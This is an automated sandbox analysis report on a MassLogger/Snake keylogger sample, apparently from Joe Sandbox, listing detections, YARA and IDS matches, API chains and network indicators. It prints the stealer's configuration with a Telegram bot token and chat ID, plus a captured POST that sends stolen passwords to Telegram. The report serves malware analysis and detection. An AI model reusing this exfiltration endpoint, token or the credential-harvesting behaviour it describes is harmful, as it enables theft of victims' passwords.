Edit tour

Windows Analysis Report
2NJzy3tiny.exe

Overview

General Information

Sample name:	2NJzy3tiny.exe renamed because original name is a hash value
Original sample name:	d0cc8030e79953557d7a28af708b2049f2b226fb5f8c857ade629becc1deb182.exe
Analysis ID:	1588304
MD5:	2cd4ad6cec0f7ee2bc74b42753d03645
SHA1:	cac0ff491afab77b6a3a4ff28b65e988c00b5358
SHA256:	d0cc8030e79953557d7a28af708b2049f2b226fb5f8c857ade629becc1deb182
Tags:	exeMassLoggeruser-adrian__luca
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

2NJzy3tiny.exe (PID: 1240 cmdline: "C:\Users\user\Desktop\2NJzy3tiny.exe" MD5: 2CD4AD6CEC0F7EE2BC74B42753D03645)

RegSvcs.exe (PID: 7280 cmdline: "C:\Users\user\Desktop\2NJzy3tiny.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM", "Telegram Chatid": "7455776561"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xef73:$a1: get_encryptedPassword 0xf29b:$a2: get_encryptedUsername 0xed0e:$a3: get_timePasswordChanged 0xee2f:$a4: get_passwordField 0xef89:$a5: set_encryptedPassword 0x108e5:$a7: get_logins 0x10596:$a8: GetOutlookPasswords 0x10388:$a9: StartKeylogger 0x10835:$a10: KeyLoggerEventArgs 0x103e5:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: 2NJzy3tiny.exe PID: 1240	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: 2NJzy3tiny.exe PID: 1240	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2NJzy3tiny.exe PID: 1240	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 2NJzy3tiny.exe PID: 1240	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x7ea13a:$a1: get_encryptedPassword 0x7ea453:$a2: get_encryptedUsername 0x7e9ee9:$a3: get_timePasswordChanged 0x7ea00a:$a4: get_passwordField 0x7ea150:$a5: set_encryptedPassword 0x7eba53:$a7: get_logins 0x7eb704:$a8: GetOutlookPasswords 0x7eb4f6:$a9: StartKeylogger 0x7eb9a3:$a10: KeyLoggerEventArgs 0x7eb553:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 7280	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 7280	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7280	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 7280	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x549cb:$a1: get_encryptedPassword 0x54ce4:$a2: get_encryptedUsername 0x5477a:$a3: get_timePasswordChanged 0x5489b:$a4: get_passwordField 0x549e1:$a5: set_encryptedPassword 0x562e4:$a7: get_logins 0x55f95:$a8: GetOutlookPasswords 0x55d87:$a9: StartKeylogger 0x56234:$a10: KeyLoggerEventArgs 0x55de4:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.2NJzy3tiny.exe.15e0000.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
2.2.2NJzy3tiny.exe.15e0000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.2NJzy3tiny.exe.15e0000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.2NJzy3tiny.exe.15e0000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd373:$a1: get_encryptedPassword 0xd69b:$a2: get_encryptedUsername 0xd10e:$a3: get_timePasswordChanged 0xd22f:$a4: get_passwordField 0xd389:$a5: set_encryptedPassword 0xece5:$a7: get_logins 0xe996:$a8: GetOutlookPasswords 0xe788:$a9: StartKeylogger 0xec35:$a10: KeyLoggerEventArgs 0xe7e5:$a11: KeyLoggerEventArgsEventHandler
2.2.2NJzy3tiny.exe.15e0000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12325:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11823:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b31:$a4: \Orbitum\User Data\Default\Login Data 0x12929:$a5: \Kometa\User Data\Default\Login Data
5.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
5.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
5.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
5.2.RegSvcs.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
Click to see the 10 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:46:11.253496+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49732	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:46:01.526747+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49699	193.122.6.168	80	TCP
2025-01-10T23:46:09.948698+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49699	193.122.6.168	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:46:10.839573+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49732	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd319eaa996ebcHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: RegSvcs.exe, 00000005.00000002.2544057819.0000000002950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 00000005.00000002.2544057819.0000000002950000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.0000000002944000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000005.00000002.2544057819.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: RegSvcs.exe, 00000005.00000002.2545513389.0000000005DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/c2
Source: 2NJzy3tiny.exe, 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000005.00000002.2544057819.0000000002972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegSvcs.exe, 00000005.00000002.2544057819.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 2NJzy3tiny.exe, 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: RegSvcs.exe, 00000005.00000002.2544057819.00000000029FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455
Source: RegSvcs.exe, 00000005.00000002.2544057819.0000000002950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: 2NJzy3tiny.exe, 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2544057819.0000000002950000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000005.00000002.2544057819.0000000002950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49732 version: TLS 1.2

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_00104164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

2_2_00104164

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_00104164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

2_2_00104164

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_00103F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

2_2_00103F66

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000F001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

2_2_000F001C

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_0011CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

2_2_0011CABC

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.2NJzy3tiny.exe.15e0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.2NJzy3tiny.exe.15e0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.2NJzy3tiny.exe.15e0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000002.00000002.1319920120.00000000015E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000005.00000002.2542423479.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: 2NJzy3tiny.exe PID: 1240, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 7280, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: This is a third-party compiled AutoIt script.	2_2_00093B3A
Source: 2NJzy3tiny.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: 2NJzy3tiny.exe, 00000002.00000000.1281477568.0000000000144000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_1ead78db-4
Source: 2NJzy3tiny.exe, 00000002.00000000.1281477568.0000000000144000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_071f5945-2
Source: 2NJzy3tiny.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2f38e062-8
Source: 2NJzy3tiny.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_9f0a85de-5

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000FA1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

2_2_000FA1EF

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000E8310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

2_2_000E8310

Source: C:\Users\user\Desktop\2NJzy3tiny.exe

Code function: 2_2_000F51BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

2_2_000F51BD

Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_0009E6A0	2_2_0009E6A0
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000BD975	2_2_000BD975
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_0009FCE0	2_2_0009FCE0
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000B21C5	2_2_000B21C5
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000C62D2	2_2_000C62D2
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_001103DA	2_2_001103DA
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000C242E	2_2_000C242E
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000B25FA	2_2_000B25FA
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000EE616	2_2_000EE616
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000A66E1	2_2_000A66E1
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000C878F	2_2_000C878F
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000A8808	2_2_000A8808
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_00110857	2_2_00110857
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000C6844	2_2_000C6844
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000F8889	2_2_000F8889
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000BCB21	2_2_000BCB21
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000C6DB6	2_2_000C6DB6
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000A6F9E	2_2_000A6F9E
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000A3030	2_2_000A3030
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000B3187	2_2_000B3187
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000BF1D9	2_2_000BF1D9
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_00091287	2_2_00091287
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000B1484	2_2_000B1484
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000A5520	2_2_000A5520
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000B7696	2_2_000B7696
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000A5760	2_2_000A5760
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000B1978	2_2_000B1978
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000C9AB5	2_2_000C9AB5
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000B1D90	2_2_000B1D90
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000BBDA6	2_2_000BBDA6
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_00117DDB	2_2_00117DDB
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_0009DF00	2_2_0009DF00
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_000A3FE0	2_2_000A3FE0
Source: C:\Users\user\Desktop\2NJzy3tiny.exe	Code function: 2_2_01876270	2_2_01876270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_00B54328	5_2_00B54328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_00B527B9	5_2_00B527B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_00B58DA0	5_2_00B58DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_00B52DD1	5_2_00B52DD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_00B55968	5_2_00B55968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_00B55F90	5_2_00B55F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EC668	5_2_053EC668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EE168	5_2_053EE168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EC010	5_2_053EC010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E7210	5_2_053E7210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E2CF0	5_2_053E2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EEE70	5_2_053EEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053E78E0	5_2_053E78E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EE5B0	5_2_053EE5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EE5C0	5_2_053EE5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053ED460	5_2_053ED460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053ED450	5_2_053ED450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 5_2_053EB760	5_2_053EB760
